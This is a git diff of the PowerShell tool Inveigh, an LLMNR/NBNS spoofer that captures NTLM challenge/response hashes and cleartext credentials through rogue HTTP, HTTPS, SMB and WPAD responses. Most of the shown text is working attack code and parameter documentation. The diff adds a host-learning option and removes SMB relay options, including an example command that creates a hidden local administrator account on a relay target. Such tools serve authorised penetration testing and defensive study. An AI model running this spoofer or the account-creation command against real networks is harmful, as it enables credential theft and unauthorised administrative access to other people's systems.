diff options
Diffstat (limited to 'Scripts/Inveigh.ps1')
-rw-r--r-- | Scripts/Inveigh.ps1 | 1653 |
1 files changed, 934 insertions, 719 deletions
diff --git a/Scripts/Inveigh.ps1 b/Scripts/Inveigh.ps1 index 1e5ea3f..8c7437f 100644 --- a/Scripts/Inveigh.ps1 +++ b/Scripts/Inveigh.ps1 @@ -16,12 +16,12 @@ Invoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with the following fea Run time control .PARAMETER IP -Specify a specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if -the SpooferIP parameter is not set. +Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the +SpooferIP parameter is not set. .PARAMETER SpooferIP -Specify an IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a -system other than the Inveigh host. +IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other +than the Inveigh host. .PARAMETER SpooferHostsReply Default = All: Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS. @@ -35,6 +35,19 @@ Default = All: Comma separated list of source IP addresses to respond to when sp .PARAMETER SpooferIPsIgnore Default = All: Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS. +.PARAMETER SpooferLearning +Default = Disabled: (Y/N) Enable/Disable LLMNR/NBNS valid host learning. If enabled, Inveigh will send out +LLMNR/NBNS requests for any received LLMNR/NBNS requests. If a response is received, Inveigh will add the +hostname to a spoofing blacklist. + +.PARAMETER SpooferLearningDelay +(Interger) Time in minutes that Inveigh will delay spoofing while valid hosts are being blacklisted through +SpooferLearning. + +.PARAMETER SpooferLearningInterval +Default = 30 Minutes: (Interger) Time in minutes that Inveigh wait before sending out an LLMNR/NBNS request for a +hostname that has already been checked if SpooferLearning is enabled. + .PARAMETER SpooferRepeat Default = Enabled: (Y/N) Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured. @@ -43,13 +56,13 @@ challenge/response has been captured. Default = Enabled: (Y/N) Enable/Disable LLMNR spoofing. .PARAMETER LLMNRTTL -Default = 30 Seconds: Specify a custom LLMNR TTL in seconds for the response packet. +Default = 30 Seconds: LLMNR TTL in seconds for the response packet. .PARAMETER NBNS Default = Disabled: (Y/N) Enable/Disable NBNS spoofing. .PARAMETER NBNSTTL -Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet. +Default = 165 Seconds: NBNS TTL in seconds for the response packet. .PARAMETER NBNSTypes Default = 00,20: Comma separated list of NBNS types to spoof. @@ -65,36 +78,38 @@ the local store and attached to port 443. If the script does not exit gracefully in the cert store. .PARAMETER HTTPAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type. This setting does not -apply to wpad.dat requests. +Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type. This setting does not apply to +wpad.dat requests. Note that Microsoft has changed the behavior of WDAP through NBNS in the June 2016 patches. A +WPAD enabled browser may now trigger NTLM authentication after sending out NBNS requests to random hostnames and +connecting to the root of the web server. .PARAMETER HTTPBasicRealm -Specify a realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. +Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth. .PARAMETER HTTPDir -Specify a full directory path to enable hosting of basic content through the HTTP/HTTPS listener. +Full directory path to enable hosting of basic content through the HTTP/HTTPS listener. .PARAMETER HTTPDefaultFile -Specify a filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used -for wpad.dat requests. +Filename within the HTTPDir to serve as the default HTTP/HTTPS response file. This file will not be used for +wpad.dat requests. .PARAMETER HTTPDefaultEXE -Specify an EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. +EXE filename within the HTTPDir to serve as the default HTTP/HTTPS response for EXE requests. .PARAMETER HTTPResponse -Specify a string or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat -requests. This parameter will not be used if HTTPDir is set. Use PowerShell character escapes where necessary. +String or HTML to serve as the default HTTP/HTTPS response. This response will not be used for wpad.dat requests. +This parameter will not be used if HTTPDir is set. Use PowerShell character escapes where necessary. .PARAMETER HTTPSCertAppID -Specify a valid application GUID for use with the ceriticate. +Valid application GUID for use with the ceriticate. .PARAMETER HTTPSCertThumbprint -Specify a certificate thumbprint for use with a custom certificate. The certificate filename must be located in -the current working directory and named Inveigh.pfx. +Certificate thumbprint for use with a custom certificate. The certificate filename must be located in the current +working directory and named Inveigh.pfx. .PARAMETER WPADAuth -Default = NTLM: (Anonymous,Basic,NTLM) Specify the HTTP/HTTPS server authentication type for wpad.dat requests. -Setting to Anonymous can prevent browser login prompts. +Default = NTLM: (Anonymous,Basic,NTLM) HTTP/HTTPS server authentication type for wpad.dat requests. Setting to +Anonymous can prevent browser login prompts. .PARAMETER WPADEmptyFile Default = Enabled: (Y/N) Enable/Disable serving a proxyless, all direct, wpad.dat file for wpad.dat requests. @@ -102,20 +117,20 @@ Enabling this setting can reduce the amount of redundant wpad.dat requests. This using WPADIP, WPADPort, or WPADResponse. .PARAMETER WPADIP -Specify a proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADPort. +Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used +with WPADPort. .PARAMETER WPADPort -Specify a proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter -must be used with WPADIP. +Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be +used with WPADIP. .PARAMETER WPADDirectHosts Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. .PARAMETER WPADResponse -Specify wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and -WPADPort are set. Use PowerShell character escapes where necessary. +wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort +are set. Use PowerShell character escapes where necessary. .PARAMETER SMB Default = Enabled: (Y/N) Enable/Disable SMB challenge/response capture. Warning, LLMNR/NBNS spoofing can still @@ -123,38 +138,18 @@ direct targets to the host system's SMB server. Block TCP ports 445/139 or kill prevent login requests from being processed by the Inveigh host. .PARAMETER Challenge -Default = Random: Specify a 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a -random challenge will be generated for each request. This will only be used for non-relay captures. +Default = Random: 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random +challenge will be generated for each request. .PARAMETER MachineAccounts Default = Disabled: (Y/N) Enable/Disable showing NTLM challenge/response captures from machine accounts. -.PARAMETER SMBRelay -Default = Disabled: (Y/N) Enable/Disable SMB relay. Note that Inveigh-Relay.ps1 must be loaded into memory. - -.PARAMETER SMBRelayTarget -IP address of system to target for SMB relay. - -.PARAMETER SMBRelayCommand -Command to execute on SMB relay target. - -.PARAMETER SMBRelayUsernames -Default = All Usernames: Comma separated list of usernames to use for relay attacks. Accepts both username and -domain\username format. - -.PARAMETER SMBRelayAutoDisable -Default = Enable: (Y/N) Automaticaly disable SMB relay after a successful command execution on target. - -.PARAMETER SMBRelayNetworkTimeout -Default = No Timeout: (Integer) Set the duration in seconds that Inveigh will wait for a reply from the SMB relay - target after each packet is sent. - .PARAMETER ConsoleOutput Default = Disabled: (Y/N) Enable/Disable real time console output. If using this option through a shell, test to ensure that it doesn't hang the shell. .PARAMETER ConsoleStatus -(Integer) Set interval in minutes for displaying all unique captured hashes and credentials. This is useful for +(Integer) Interval in minutes for displaying all unique captured hashes and credentials. This is useful for displaying full capture lists when running through a shell that does not have access to the support functions. .PARAMETER ConsoleUnique @@ -177,11 +172,11 @@ running Inveigh through a shell that does not return other output streams.Note t yellow warning messages if enabled. .PARAMETER OutputDir -Default = Working Directory: Set a valid path to an output directory for log and capture files. FileOutput must +Default = Working Directory: Valid path to an output directory for log and capture files. FileOutput must also be enabled. .PARAMETER RunTime -(Integer) Set the run time duration in minutes. +(Integer) Run time duration in minutes. .PARAMETER ShowHelp Default = Enabled: (Y/N) Enable/Disable the help messages at startup. @@ -190,8 +185,9 @@ Default = Enabled: (Y/N) Enable/Disable the help messages at startup. (Switch) Disable LLMNR, NBNS, HTTP, HTTPS, and SMB in order to only inspect LLMNR/NBNS traffic. .PARAMETER Tool -Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Metasploit's -Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire +Default = 0: (0,1,2) Enable/Disable features for better operation through external tools such as Meterpreter's +PowerShell extension, Metasploit's Interactive PowerShell Sessions payloads and Empire. +0 = None, 1 = Metasploit/Meterpreter, 2 = Empire .EXAMPLE Import-Module .\Inveigh.psd1;Invoke-Inveigh @@ -220,12 +216,7 @@ useful for sending traffic to a controlled Linux system on another subnet. .EXAMPLE Invoke-Inveigh -HTTPResponse "<html><head><meta http-equiv='refresh' content='0; url=https://duckduckgo.com/'></head></html>" -Execute specifying an HTTP redirect response. - -.EXAMPLE -Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net user Dave Summer2016 /add && net localgroup administrators Dave /add" -Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay -target. +Execute specifying an HTTP redirect response. .NOTES 1. An elevated administrator or SYSTEM shell is needed. @@ -247,54 +238,51 @@ https://github.com/Kevin-Robertson/Inveigh [CmdletBinding()] param ( - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelay="N", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMBRelayAutoDisable="Y", - [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADEmptyFile="Y", - [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool="0", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth="NTLM", - [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes=@("00","20"), - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP="", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTP = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$HTTPS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SMB = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$LLMNR = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$NBNS = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferLearning = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$SpooferRepeat = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ConsoleUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileOutput = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$FileUnique = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$StatusOutput = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$OutputStreamOnly = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$MachineAccounts = "N", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$ShowHelp = "Y", + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$WPADEmptyFile = "Y", + [parameter(Mandatory=$false)][ValidateSet("0","1","2")][String]$Tool = "0", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$HTTPAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("Anonymous","Basic","NTLM")][String]$WPADAuth = "NTLM", + [parameter(Mandatory=$false)][ValidateSet("00","03","20","1B","1C","1D","1E")][Array]$NBNSTypes = @("00","20"), + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$IP = "", + [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP = "", [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = "", - [parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SMBRelayTarget ="", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir="", - [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir="", - [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge="", - [parameter(Mandatory=$false)][Array]$SpooferHostsReply="", - [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore="", - [parameter(Mandatory=$false)][Array]$SpooferIPsReply="", - [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore="", - [parameter(Mandatory=$false)][Array]$SMBRelayUsernames="", - [parameter(Mandatory=$false)][Array]$WPADDirectHosts="", - [parameter(Mandatory=$false)][Int]$ConsoleStatus="", - [parameter(Mandatory=$false)][Int]$LLMNRTTL="30", - [parameter(Mandatory=$false)][Int]$NBNSTTL="165", - [parameter(Mandatory=$false)][Int]$WPADPort="", - [parameter(Mandatory=$false)][Int]$RunTime="", - [parameter(Mandatory=$false)][Int]$SMBRelayNetworkTimeout="", - [parameter(Mandatory=$false)][String]$HTTPBasicRealm="IIS", - [parameter(Mandatory=$false)][String]$HTTPDefaultFile="", - [parameter(Mandatory=$false)][String]$HTTPDefaultEXE="", - [parameter(Mandatory=$false)][String]$HTTPResponse="", - [parameter(Mandatory=$false)][String]$HTTPSCertAppID="00112233-4455-6677-8899-AABBCCDDEEFF", - [parameter(Mandatory=$false)][String]$HTTPSCertThumbprint="98c1d54840c5c12ced710758b6ee56cc62fa1f0d", - [parameter(Mandatory=$false)][String]$WPADResponse="", - [parameter(Mandatory=$false)][String]$SMBRelayCommand="", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$HTTPDir = "", + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$OutputDir = "", + [parameter(Mandatory=$false)][ValidatePattern('^[A-Fa-f0-9]{16}$')][String]$Challenge = "", + [parameter(Mandatory=$false)][Array]$SpooferHostsReply = "", + [parameter(Mandatory=$false)][Array]$SpooferHostsIgnore = "", + [parameter(Mandatory=$false)][Array]$SpooferIPsReply = "", + [parameter(Mandatory=$false)][Array]$SpooferIPsIgnore = "", + [parameter(Mandatory=$false)][Array]$WPADDirectHosts = "", + [parameter(Mandatory=$false)][Int]$ConsoleStatus = "", + [parameter(Mandatory=$false)][Int]$LLMNRTTL = "30", + [parameter(Mandatory=$false)][Int]$NBNSTTL = "165", + [parameter(Mandatory=$false)][Int]$WPADPort = "", + [parameter(Mandatory=$false)][Int]$RunTime = "", + [parameter(Mandatory=$false)][Int]$SpooferLearningDelay = "", + [parameter(Mandatory=$false)][Int]$SpooferLearningInterval = "30", + [parameter(Mandatory=$false)][String]$HTTPBasicRealm = "IIS", + [parameter(Mandatory=$false)][String]$HTTPDefaultFile = "", + [parameter(Mandatory=$false)][String]$HTTPDefaultEXE = "", + [parameter(Mandatory=$false)][String]$HTTPResponse = "", + [parameter(Mandatory=$false)][String]$HTTPSCertAppID = "00112233-4455-6677-8899-AABBCCDDEEFF", + [parameter(Mandatory=$false)][String]$HTTPSCertThumbprint = "98c1d54840c5c12ced710758b6ee56cc62fa1f0d", + [parameter(Mandatory=$false)][String]$WPADResponse = "", [parameter(Mandatory=$false)][Switch]$Inspect, [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) @@ -314,30 +302,6 @@ if(!$SpooferIP) $SpooferIP = $IP } -if($SMBRelay -eq 'Y') -{ - - if(!$SMBRelayTarget) - { - throw "You must specify an -SMBRelayTarget if enabling -SMBRelay" - } - - if(!$SMBRelayCommand) - { - throw "You must specify an -SMBRelayCommand if enabling -SMBRelay" - } - - if($Challenge -or $HTTPDefaultFile -or $HTTPDefaultEXE -or $HTTPResponse -or $WPADIP -or $WPADPort -or $WPADResponse) - { - throw "-Challenge -HTTPDefaultFile, -HTTPDefaultEXE, -HTTPResponse, -WPADIP, -WPADPort, and -WPADResponse can not be used when enabling -SMBRelay" - } - elseif($HTTPAuth -ne 'NTLM' -or $WPADAuth -eq 'Basic') - { - throw "Only -HTTPAuth NTLM, -WPADAuth NTLM, and -WPADAuth Anonymous can be used when enabling -SMBRelay" - } - -} - if($HTTPDefaultFile -or $HTTPDefaultEXE) { @@ -383,47 +347,42 @@ if(!$inveigh) $inveigh.cleartext_list = New-Object System.Collections.ArrayList $inveigh.IP_capture_list = New-Object System.Collections.ArrayList $inveigh.SMBRelay_failed_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList } if($inveigh.running) { throw "Invoke-Inveigh is already running, use Stop-Inveigh" } -elseif($inveigh.relay_running) -{ - throw "Invoke-InveighRelay is already running, use Stop-Inveigh" -} $inveigh.sniffer_socket = $null -if($inveigh.HTTP_listener.IsListening) +if($inveigh.HTTP_listener.IsListening -and !$inveigh.relay_running) { $inveigh.HTTP_listener.Stop() $inveigh.HTTP_listener.Close() } -$inveigh.console_queue = New-Object System.Collections.ArrayList -$inveigh.status_queue = New-Object System.Collections.ArrayList -$inveigh.log_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList -$inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList -$inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList -$inveigh.certificate_application_ID = $HTTPSCertAppID -$inveigh.certificate_thumbprint = $HTTPSCertThumbprint -$inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList -$inveigh.console_output = $false -$inveigh.console_input = $true -$inveigh.file_output = $false -$inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" -$inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" -$inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" -$inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" -$inveigh.HTTP_response = $HTTPResponse -$inveigh.HTTP_directory = $HTTPDir -$inveigh.HTTP_default_file = $HTTPDefaultFile -$inveigh.HTTP_default_exe = $HTTPDefaultEXE -$inveigh.WPAD_response = $WPADResponse -$inveigh.challenge = $Challenge +if(!$inveigh.relay_running -or !$inveigh.unprivileged_running) +{ + $inveigh.console_queue = New-Object System.Collections.ArrayList + $inveigh.status_queue = New-Object System.Collections.ArrayList + $inveigh.log_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.cleartext_file_queue = New-Object System.Collections.ArrayList + $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList + $inveigh.certificate_application_ID = $HTTPSCertAppID + $inveigh.certificate_thumbprint = $HTTPSCertThumbprint + $inveigh.console_output = $false + $inveigh.console_input = $true + $inveigh.file_output = $false + $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt" + $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt" + $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt" + $inveigh.cleartext_out_file = $output_directory + "\Inveigh-Cleartext.txt" +} + $inveigh.running = $true if($StatusOutput -eq 'Y') @@ -453,7 +412,7 @@ if($Inspect) $SMB = "N" } -if($Tool -eq 1) # Metasploit Interactive PowerShell +if($Tool -eq 1) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension { $inveigh.tool = 1 $inveigh.output_stream_only = $true @@ -479,7 +438,7 @@ else $inveigh.status_queue.Add("Inveigh started at $(Get-Date -format 's')") > $null $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh started")]) > $null -$firewall_status = netsh advfirewall show allprofiles state | where {$_ -match 'ON'} +$firewall_status = netsh advfirewall show allprofiles state | Where-Object {$_ -match 'ON'} if($firewall_status) { @@ -491,14 +450,14 @@ $inveigh.status_queue.Add("LLMNR/NBNS Spoofer IP Address = $SpooferIP") > $null if($LLMNR -eq 'Y') { - $inveigh.status_queue.Add("LLMNR Spoofing Enabled") > $null + $inveigh.status_queue.Add("LLMNR Spoofer = Enabled") > $null $inveigh.status_queue.Add("LLMNR TTL = $LLMNRTTL Seconds") > $null - $LLMNR_response_message = "- spoofed response has been sent" + $LLMNR_response_message = "- response sent" } else { - $inveigh.status_queue.Add("LLMNR Spoofing Disabled") > $null - $LLMNR_response_message = "- LLMNR spoofing is disabled" + $inveigh.status_queue.Add("LLMNR Spoofer = Disabled") > $null + $LLMNR_response_message = "- LLMNR spoofer is disabled" } if($NBNS -eq 'Y') @@ -507,46 +466,74 @@ if($NBNS -eq 'Y') if($NBNSTypes.Count -eq 1) { - $inveigh.status_queue.Add("NBNS Spoofing Of Type $NBNSTypes_output Enabled") > $null + $inveigh.status_queue.Add("NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null } else { - $inveigh.status_queue.Add("NBNS Spoofing Of Types $NBNSTypes_output Enabled") > $null + $inveigh.status_queue.Add("NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null } $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null - $NBNS_response_message = "- spoofed response has been sent" + $NBNS_response_message = "- response sent" } else { - $inveigh.status_queue.Add("NBNS Spoofing Disabled") > $null - $NBNS_response_message = "- NBNS spoofing is disabled" + $inveigh.status_queue.Add("NBNS Spoofer = Disabled") > $null + $NBNS_response_message = "- NBNS spoofer is disabled" +} + +if($SpooferLearning -eq 'Y' -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) +{ + $inveigh.status_queue.Add("Spoofer Learning = Enabled") > $null + + if($SpooferLearningDelay -eq 1) + { + $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null + } + elseif($SpooferLearningDelay -gt 1) + { + $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null + } + + if($SpooferLearningInterval -eq 1) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null + } + elseif($SpooferLearningInterval -eq 0) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = Disabled") > $null + } + elseif($SpooferLearningInterval -gt 1) + { + $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null + } + } if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofing requests for " + $SpooferHostsReply -join ",") > $null + $inveigh.status_queue.Add("Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null } if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Ignoring requests for " + $SpooferHostsIgnore -join ",") > $null + $inveigh.status_queue.Add("Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null } if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofing requests from " + $SpooferIPsReply -join ",") > $null + $inveigh.status_queue.Add("Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null } if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Ignoring requests from " + $SpooferIPsIgnore -join ",") > $null + $inveigh.status_queue.Add("Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null } if($SpooferRepeat -eq 'N') { $inveigh.spoofer_repeat = $false - $inveigh.status_queue.Add("Spoofer Repeating Disabled") > $null + $inveigh.status_queue.Add("Spoofer Repeating = Disabled") > $null } else { @@ -555,54 +542,78 @@ else if($SMB -eq 'Y') { - $inveigh.status_queue.Add("SMB Capture Enabled") > $null + $inveigh.status_queue.Add("SMB Capture = Enabled") > $null } else { - $inveigh.status_queue.Add("SMB Capture Disabled") > $null + $inveigh.status_queue.Add("SMB Capture = Disabled") > $null } if($HTTP -eq 'Y') { - $inveigh.HTTP = $true - $inveigh.status_queue.Add("HTTP Capture Enabled") > $null + + $HTTP_port_check = netstat -anp TCP | findstr 0.0.0.0:80 + + if($HTTP_port_check) + { + $inveigh.HTTP = $false + $inveigh.status_queue.Add("HTTP Capture Disabled Due To In Use Port 80") > $null + } + else + { + $inveigh.HTTP = $true + $inveigh.status_queue.Add("HTTP Capture = Enabled") > $null + } + } else { $inveigh.HTTP = $false - $inveigh.status_queue.Add("HTTP Capture Disabled") > $null + $inveigh.status_queue.Add("HTTP Capture = Disabled") > $null } if($HTTPS -eq 'Y') { - try + $HTTPS_port_check = netstat -anp TCP | findstr 0.0.0.0:443 + + if($HTTPS_port_check) { - $inveigh.HTTPS = $true - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 - $certificate.Import($PWD.Path + "\Inveigh.pfx") - $certificate_store.Add($certificate) - $certificate_store.Close() - $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint - $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" - $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) - & "netsh" $netsh_arguments > $null - $inveigh.status_queue.Add("HTTPS Capture Enabled") > $null + $inveigh.HTTP = $true + $inveigh.status_queue.Add("HTTPS Capture Disabled Due To In Use Port 443") > $null } - catch + else { - $certificate_store.Close() - $HTTPS="N" - $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error") > $null + + try + { + $inveigh.HTTPS = $true + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2 + $certificate.Import($PWD.Path + "\Inveigh.pfx") + $certificate_store.Add($certificate) + $certificate_store.Close() + $netsh_certhash = "certhash=" + $inveigh.certificate_thumbprint + $netsh_app_ID = "appid={" + $inveigh.certificate_application_ID + "}" + $netsh_arguments = @("http","add","sslcert","ipport=0.0.0.0:443",$netsh_certhash,$netsh_app_ID) + & "netsh" $netsh_arguments > $null + $inveigh.status_queue.Add("HTTPS Capture = Enabled") > $null + } + catch + { + $certificate_store.Close() + $HTTPS="N" + $inveigh.HTTPS = $false + $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Install Error") > $null + } + } } else { - $inveigh.status_queue.Add("HTTPS Capture Disabled") > $null + $inveigh.status_queue.Add("HTTPS Capture = Disabled") > $null } if($inveigh.HTTP -or $inveigh.HTTPS) @@ -628,7 +639,7 @@ if($inveigh.HTTP -or $inveigh.HTTPS) if($HTTPResponse) { - $inveigh.status_queue.Add("HTTP/HTTPS Custom Response Enabled") > $null + $inveigh.status_queue.Add("HTTP/HTTPS Custom Response = Enabled") > $null } if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') @@ -638,7 +649,7 @@ if($inveigh.HTTP -or $inveigh.HTTPS) if($WPADIP -and $WPADPort) { - $inveigh.status_queue.Add("WPAD Response Enabled") > $null + $inveigh.status_queue.Add("WPAD Response = Enabled") > $null $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null if($WPADDirectHosts) @@ -648,27 +659,24 @@ if($inveigh.HTTP -or $inveigh.HTTPS) $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' } - $inveigh.WPAD_response = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - $inveigh.status_queue.Add("WPAD Direct Hosts = " + $WPADDirectHosts -join ",") > $null + $WPADResponse = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null } else { - $inveigh.WPAD_response = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" + $WPADResponse = "function FindProxyForURL(url,host){return `"PROXY " + $WPADIP + ":" + $WPADPort + 